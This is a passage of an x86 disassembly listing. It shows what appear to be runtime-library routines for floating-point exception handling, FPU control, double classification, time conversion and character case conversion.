or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_430306
test al, bl
jz short loc_42FCEA
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_42FCEA: ; CODE XREF: sub_42FBE4+FDj
test al, 4
jz short loc_42FCF5
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_42FCF5: ; CODE XREF: sub_42FBE4+108j
test al, 8
jz short loc_42FD00
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_42FD00: ; CODE XREF: sub_42FBE4+113j
test al, 10h
jz short loc_42FD0A
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_42FD0A: ; CODE XREF: sub_42FBE4+11Ej
test al, 20h
jz short loc_42FD14
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_42FD14: ; CODE XREF: sub_42FBE4+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_42FD53
cmp eax, 400h
jz short loc_42FD45
cmp eax, 800h
jz short loc_42FD39
cmp eax, ecx
jnz short loc_42FD59
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_42FD59
; ---------------------------------------------------------------------------
loc_42FD39: ; CODE XREF: sub_42FBE4+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_42FD4F
; ---------------------------------------------------------------------------
loc_42FD45: ; CODE XREF: sub_42FBE4+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_42FD4F: ; CODE XREF: sub_42FBE4+15Fj
mov [eax], ecx
jmp short loc_42FD59
; ---------------------------------------------------------------------------
loc_42FD53: ; CODE XREF: sub_42FBE4+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_42FD59: ; CODE XREF: sub_42FBE4+14Bj
; sub_42FBE4+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_42FD84
cmp eax, 200h
jz short loc_42FD77
cmp eax, ecx
jnz short loc_42FD91
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_42FD91
; ---------------------------------------------------------------------------
loc_42FD77: ; CODE XREF: sub_42FBE4+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_42FD8F
; ---------------------------------------------------------------------------
loc_42FD84: ; CODE XREF: sub_42FBE4+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_42FD8F: ; CODE XREF: sub_42FBE4+19Ej
mov [eax], ecx
loc_42FD91: ; CODE XREF: sub_42FBE4+189j
; sub_42FBE4+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_430314
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
call dword_437230 ; RaiseException
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_42FE0B
and dword ptr [esi], 0FFFFFFFEh
loc_42FE0B: ; CODE XREF: sub_42FBE4+222j
test byte ptr [eax+8], 8
jz short loc_42FE14
and dword ptr [esi], 0FFFFFFFBh
loc_42FE14: ; CODE XREF: sub_42FBE4+22Bj
test byte ptr [eax+8], 4
jz short loc_42FE1D
and dword ptr [esi], 0FFFFFFF7h
loc_42FE1D: ; CODE XREF: sub_42FBE4+234j
test byte ptr [eax+8], 2
jz short loc_42FE26
and dword ptr [esi], 0FFFFFFEFh
loc_42FE26: ; CODE XREF: sub_42FBE4+23Dj
test [eax+8], bl
jz short loc_42FE2E
and dword ptr [esi], 0FFFFFFDFh
loc_42FE2E: ; CODE XREF: sub_42FBE4+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_42FE62
dec ecx
jz short loc_42FE56
dec ecx
jz short loc_42FE4C
dec ecx
jnz short loc_42FE64
or byte ptr [esi+1], 0Ch
jmp short loc_42FE64
; ---------------------------------------------------------------------------
loc_42FE4C: ; CODE XREF: sub_42FBE4+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_42FE5E
; ---------------------------------------------------------------------------
loc_42FE56: ; CODE XREF: sub_42FBE4+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_42FE5E: ; CODE XREF: sub_42FBE4+270j
mov [esi], ecx
jmp short loc_42FE64
; ---------------------------------------------------------------------------
loc_42FE62: ; CODE XREF: sub_42FBE4+257j
and [esi], edx
loc_42FE64: ; CODE XREF: sub_42FBE4+260j
; sub_42FBE4+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_42FE84
dec ecx
jz short loc_42FE7B
dec ecx
jnz short loc_42FE8D
and [esi], edx
jmp short loc_42FE8D
; ---------------------------------------------------------------------------
loc_42FE7B: ; CODE XREF: sub_42FBE4+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_42FE8B
; ---------------------------------------------------------------------------
loc_42FE84: ; CODE XREF: sub_42FBE4+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_42FE8B: ; CODE XREF: sub_42FBE4+29Ej
mov [esi], ecx
loc_42FE8D: ; CODE XREF: sub_42FBE4+291j
; sub_42FBE4+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_42FBE4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FE97 proc near ; CODE XREF: sub_42FB4C+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_42FEC2
test byte ptr [ebp+arg_8], bl
jz short loc_42FEC2
push ebx
call sub_430346
pop ecx
and edi, 0FFFFFFF7h
jmp loc_43008C
; ---------------------------------------------------------------------------
loc_42FEC2: ; CODE XREF: sub_42FE97+15j
; sub_42FE97+1Aj
test al, 4
jz short loc_42FEDC
test byte ptr [ebp+arg_8], 4
jz short loc_42FEDC
push 4
call sub_430346
pop ecx
and edi, 0FFFFFFFBh
jmp loc_43008C
; ---------------------------------------------------------------------------
loc_42FEDC: ; CODE XREF: sub_42FE97+2Dj
; sub_42FE97+33j
test al, bl
jz loc_42FFB6
test byte ptr [ebp+arg_8], 8
jz loc_42FFB6
push 8
call sub_430346
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_42FF8E
cmp ecx, 400h
jz short loc_42FF66
cmp ecx, 800h
jz short loc_42FF3E
cmp ecx, eax
jnz loc_42FFAE
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_437628
fld dbl_4536C0
fnstsw ax
sahf
ja short loc_42FF36
fchs
loc_42FF36: ; CODE XREF: sub_42FE97+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_42FFAC
; ---------------------------------------------------------------------------
loc_42FF3E: ; CODE XREF: sub_42FE97+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_437628
fnstsw ax
sahf
jbe short loc_42FF56
fld dbl_4536B0
jmp short loc_42FF5E
; ---------------------------------------------------------------------------
loc_42FF56: ; CODE XREF: sub_42FE97+B5j
fld dbl_4536C0
fchs
loc_42FF5E: ; CODE XREF: sub_42FE97+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_42FFAC
; ---------------------------------------------------------------------------
loc_42FF66: ; CODE XREF: sub_42FE97+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_437628
fnstsw ax
sahf
jbe short loc_42FF7E
fld dbl_4536C0
jmp short loc_42FF86
; ---------------------------------------------------------------------------
loc_42FF7E: ; CODE XREF: sub_42FE97+DDj
fld dbl_4536B0
fchs
loc_42FF86: ; CODE XREF: sub_42FE97+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_42FFAC
; ---------------------------------------------------------------------------
loc_42FF8E: ; CODE XREF: sub_42FE97+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_437628
fld dbl_4536B0
fnstsw ax
sahf
ja short loc_42FFA6
fchs
loc_42FFA6: ; CODE XREF: sub_42FE97+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_42FFAC: ; CODE XREF: sub_42FE97+A5j
; sub_42FE97+CDj ...
fstp qword ptr [ecx]
loc_42FFAE: ; CODE XREF: sub_42FE97+81j
and edi, 0FFFFFFFEh
jmp loc_43008C
; ---------------------------------------------------------------------------
loc_42FFB6: ; CODE XREF: sub_42FE97+47j
; sub_42FE97+51j
test al, 2
jz loc_43008C
test byte ptr [ebp+arg_8], 10h
jz loc_43008C
push esi
xor esi, esi
test al, 10h
jz short loc_42FFD1
mov esi, ebx
loc_42FFD1: ; CODE XREF: sub_42FE97+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_437628
fnstsw ax
sahf
jz loc_43007A
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_430245
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_43001C
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_430070
; ---------------------------------------------------------------------------
loc_43001C: ; CODE XREF: sub_42FE97+17Aj
fld [ebp+var_C]
fcomp dbl_437628
fnstsw ax
sahf
jnb short loc_43002E
mov edx, ebx
jmp short loc_430030
; ---------------------------------------------------------------------------
loc_43002E: ; CODE XREF: sub_42FE97+191j
xor edx, edx
loc_430030: ; CODE XREF: sub_42FE97+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_430064
sub eax, ecx
loc_430047: ; CODE XREF: sub_42FE97+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_430052
test esi, esi
jnz short loc_430052
loc_430050: ; DATA XREF: ?9:0043AB74o
mov esi, ebx
loc_430052: ; CODE XREF: sub_42FE97+1B3j
; sub_42FE97+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_43005E
loc_43005A: ; DATA XREF: ?9:off_43BA40o
; ?9:off_43C0B0o
or byte ptr [ebp+var_C+3], 80h
loc_43005E: ; CODE XREF: sub_42FE97+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_430047
loc_430064: ; CODE XREF: sub_42FE97+1ACj
test edx, edx
jz short loc_430070
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_430070: ; CODE XREF: sub_42FE97+183j
; sub_42FE97+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_43007C
; ---------------------------------------------------------------------------
loc_43007A: ; CODE XREF: sub_42FE97+14Ej
mov esi, ebx
loc_43007C: ; CODE XREF: sub_42FE97+1E1j
test esi, esi
pop esi
jz short loc_430089
push 10h
call sub_430346
pop ecx
loc_430089: ; CODE XREF: sub_42FE97+1E8j
and edi, 0FFFFFFFDh
loc_43008C: ; CODE XREF: sub_42FE97+26j
; sub_42FE97+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_4300A3
test byte ptr [ebp+arg_8], 20h
jz short loc_4300A3
push 20h
call sub_430346
pop ecx
and edi, 0FFFFFFEFh
loc_4300A3: ; CODE XREF: sub_42FE97+1F9j
; sub_42FE97+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_42FE97 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4300AE(int, int, int, int, int, int, double, int)
sub_4300AE proc near ; CODE XREF: sub_42FAF8+2Bp
; sub_42FB4C+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_43015E
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_430119
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_430323
lea eax, [ebp+var_20]
push eax
call sub_4338B8
add esp, 0Ch
test eax, eax
jnz short loc_430113
push esi
call sub_430136
pop ecx
loc_430113: ; CODE XREF: sub_4300AE+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_430119: ; CODE XREF: sub_4300AE+14j
push 0FFFFh
push [ebp+arg_20]
call sub_430323
push [ebp+arg_0]
call sub_430136
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_4300AE endp
; =============== S U B R O U T I N E =======================================
sub_430136 proc near ; CODE XREF: sub_42FB4C+7Dp
; sub_4300AE+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_430152
jle short locret_43015D
cmp eax, 3
jg short locret_43015D
call sub_42F049
mov dword ptr [eax], 22h
retn
; ---------------------------------------------------------------------------
loc_430152: ; CODE XREF: sub_430136+7j
call sub_42F049
mov dword ptr [eax], 21h
locret_43015D: ; CODE XREF: sub_430136+9j
; sub_430136+Ej
retn
sub_430136 endp
; =============== S U B R O U T I N E =======================================
sub_43015E proc near ; CODE XREF: sub_4300AE+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_4535D8
loc_430165: ; CODE XREF: sub_43015E+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_43017B
add eax, 8
inc ecx
cmp eax, offset dbl_4536B0
jl short loc_430165
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_43017B: ; CODE XREF: sub_43015E+Dj
mov eax, off_4535DC[ecx*8]
retn
sub_43015E endp
; =============== S U B R O U T I N E =======================================
sub_430183 proc near ; CODE XREF: sub_42FB4C+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_43018F
push 5
jmp short loc_4301A5
; ---------------------------------------------------------------------------
loc_43018F: ; CODE XREF: sub_430183+6j
test al, 8
jz short loc_430197
push 1
jmp short loc_4301A5
; ---------------------------------------------------------------------------
loc_430197: ; CODE XREF: sub_430183+Ej
test al, 4
jz short loc_43019F
push 2
jmp short loc_4301A5
; ---------------------------------------------------------------------------
loc_43019F: ; CODE XREF: sub_430183+16j
test al, 1
jz short loc_4301A7
push 3
loc_4301A5: ; CODE XREF: sub_430183+Aj
; sub_430183+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_4301A7: ; CODE XREF: sub_430183+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_430183 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4301B0(double)
sub_4301B0 proc near ; CODE XREF: sub_42A636:loc_42A6BCp
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_4301B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4301C2(double, int)
sub_4301C2 proc near ; CODE XREF: sub_430245+82p
; sub_430245+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_4301C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4301EB proc near ; CODE XREF: sub_42A636+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_430202
cmp [ebp+arg_0], edx
jnz short loc_430214
push 1
jmp short loc_43023E
; ---------------------------------------------------------------------------
loc_430202: ; CODE XREF: sub_4301EB+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_430214
cmp [ebp+arg_0], edx
jnz short loc_430214
push 2
jmp short loc_43023E
; ---------------------------------------------------------------------------
loc_430214: ; CODE XREF: sub_4301EB+11j
; sub_4301EB+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_430227
push 3
jmp short loc_43023E
; ---------------------------------------------------------------------------
loc_430227: ; CODE XREF: sub_4301EB+36j
cmp cx, 7FF0h
jnz short loc_430241
test [ebp+arg_4], 7FFFFh
jnz short loc_43023C
cmp [ebp+arg_0], edx
jz short loc_430241
loc_43023C: ; CODE XREF: sub_4301EB+4Aj
push 4
loc_43023E: ; CODE XREF: sub_4301EB+15j
; sub_4301EB+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430241: ; CODE XREF: sub_4301EB+41j
; sub_4301EB+4Fj
xor eax, eax
pop ebp
retn
sub_4301EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_430245(double, int)
sub_430245 proc near ; CODE XREF: sub_42FE97+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_437628
push esi
fnstsw ax
sahf
jnz short loc_430265
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_4302FB
; ---------------------------------------------------------------------------
loc_430265: ; CODE XREF: sub_430245+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_4302D4
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_43027D
cmp dword ptr [ebp+arg_0], ecx
jz short loc_4302D4
loc_43027D: ; CODE XREF: sub_430245+31j
fld [ebp+arg_0]
fcomp dbl_437628
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_430295
push 1
pop eax
jmp short loc_430297
; ---------------------------------------------------------------------------
loc_430295: ; CODE XREF: sub_430245+49j
xor eax, eax
loc_430297: ; CODE XREF: sub_430245+4Ej
; sub_430245+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_4302B0
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_4302AA
or dword ptr [ebp+arg_0+4], 1
loc_4302AA: ; CODE XREF: sub_430245+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_430297
; ---------------------------------------------------------------------------
loc_4302B0: ; CODE XREF: sub_430245+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_4302BE
or byte ptr [ebp+arg_0+7], 80h
loc_4302BE: ; CODE XREF: sub_430245+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_4301C2
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_4302FB
; ---------------------------------------------------------------------------
loc_4302D4: ; CODE XREF: sub_430245+28j
; sub_430245+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_4301C2
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_4302FB: ; CODE XREF: sub_430245+1Bj
; sub_430245+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_430245 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430306 proc near ; CODE XREF: sub_42FBE4+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_430306 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430314 proc near ; CODE XREF: sub_42FBE4+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_430314 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430323 proc near ; CODE XREF: sub_42A636+13p
; sub_42A636+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_430323 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430346 proc near ; CODE XREF: sub_42FE97+1Dp
; sub_42FE97+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_43035D
fld tbyte_4536D8
fistp [ebp+arg_0]
wait
loc_43035D: ; CODE XREF: sub_430346+Bj
test cl, 8
jz short loc_430372
fstsw ax
fld tbyte_4536D8
fstp [ebp+var_8]
wait
fstsw ax
loc_430372: ; CODE XREF: sub_430346+1Aj
test cl, 10h
jz short loc_430381
fld tbyte_4536E4
fstp [ebp+var_8]
wait
loc_430381: ; CODE XREF: sub_430346+2Fj
test cl, 4
jz short loc_43038F
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_43038F: ; CODE XREF: sub_430346+3Ej
test cl, 20h
jz short locret_43039A
fldpi
fstp [ebp+var_8]
wait
locret_43039A: ; CODE XREF: sub_430346+4Cj
leave
retn
sub_430346 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43039C proc near ; CODE XREF: sub_42A705+C9p
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_0]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_430458
cmp ebx, 8Ah
jg loc_430458
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, dword_453BE4[edi*4]
add esi, [ebp+arg_8]
test bl, 3
jnz short loc_4303DB
cmp edi, 2
jle short loc_4303DB
inc esi
loc_4303DB: ; CODE XREF: sub_43039C+37j
; sub_43039C+3Cj
call sub_4338BB
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp+var_8], esi
add edx, ecx
mov [ebp+var_10], ebx
add eax, edx
mov edx, [ebp+arg_14]
lea ecx, [eax+eax*2]
mov eax, [ebp+arg_C]
mov [ebp+var_1C], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+arg_10]
imul ecx, 3Ch
add ecx, dword_453B04
dec edi
cmp [ebp+arg_18], 1
mov [ebp+var_14], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+arg_0], ecx
jz short loc_43044E
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_430454
cmp dword_453B08, 0
jz short loc_430454
lea eax, [ebp+var_24]
push eax
call sub_433B70
pop ecx
mov ecx, [ebp+arg_0]
test eax, eax
jz short loc_430454
loc_43044E: ; CODE XREF: sub_43039C+90j
add ecx, dword_453B0C
loc_430454: ; CODE XREF: sub_43039C+96j
; sub_43039C+9Fj ...
mov eax, ecx
jmp short loc_43045B
; ---------------------------------------------------------------------------
loc_430458: ; CODE XREF: sub_43039C+13j
; sub_43039C+1Fj
or eax, 0FFFFFFFFh
loc_43045B: ; CODE XREF: sub_43039C+BAj
pop ebx
leave
retn
sub_43039C endp
; =============== S U B R O U T I N E =======================================
sub_43045E proc near ; CODE XREF: sub_430611+9p
arg_0 = dword ptr 4
push ebx
xor ebx, ebx
cmp dword_676988, ebx
jnz short loc_43047C
mov eax, [esp+4+arg_0]
cmp eax, 41h
jl short loc_4304CB
cmp eax, 5Ah
jg short loc_4304CB
add eax, 20h
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43047C: ; CODE XREF: sub_43045E+9j
push esi
mov esi, offset dword_676EBC
push edi
push esi
call dword_437220 ; InterlockedIncrement
cmp dword_676EB8, ebx
mov edi, dword_43721C
jz short loc_4304A6
push esi
call edi ; dword_43721C
push 13h
call sub_42DA1F
pop ecx
push 1
pop ebx
loc_4304A6: ; CODE XREF: sub_43045E+38j
push [esp+0Ch+arg_0]
call sub_4304CD
test ebx, ebx
pop ecx
mov [esp+0Ch+arg_0], eax
jz short loc_4304C2
push 13h
call sub_42DA80
pop ecx
jmp short loc_4304C5
; ---------------------------------------------------------------------------
loc_4304C2: ; CODE XREF: sub_43045E+58j
push esi
call edi ; dword_43721C
loc_4304C5: ; CODE XREF: sub_43045E+62j
mov eax, [esp+0Ch+arg_0]
pop edi
pop esi
loc_4304CB: ; CODE XREF: sub_43045E+12j
; sub_43045E+17j
pop ebx
retn
sub_43045E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4304CD proc near ; CODE XREF: sub_42A7F0+94p
; sub_42A7F0+9Ep ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_676988, 0
push ebx
push esi
push edi
jnz short loc_4304FA
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_430593
cmp eax, 5Ah
jg loc_430593
add eax, 20h
jmp loc_430593
; ---------------------------------------------------------------------------
loc_4304FA: ; CODE XREF: sub_4304CD+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_43052E
cmp dword_4535A4, esi
jle short loc_43051C
push esi
push ebx
call sub_42F05B
pop ecx
pop ecx
jmp short loc_430526
; ---------------------------------------------------------------------------
loc_43051C: ; CODE XREF: sub_4304CD+42j
mov eax, off_453398
mov al, [eax+ebx*2]
and eax, esi
loc_430526: ; CODE XREF: sub_4304CD+4Dj
test eax, eax
jnz short loc_43052E
loc_43052A: ; CODE XREF: sub_4304CD+ADj
mov eax, ebx
jmp short loc_430593
; ---------------------------------------------------------------------------
loc_43052E: ; CODE XREF: sub_4304CD+3Aj
; sub_4304CD+5Bj
mov edx, off_453398
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_430552
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_43055B
; ---------------------------------------------------------------------------
loc_430552: ; CODE XREF: sub_4304CD+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_43055B: ; CODE XREF: sub_4304CD+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_676988
call sub_430CCF
add esp, 20h
test eax, eax
jz short loc_43052A
cmp eax, esi
jnz short loc_430586
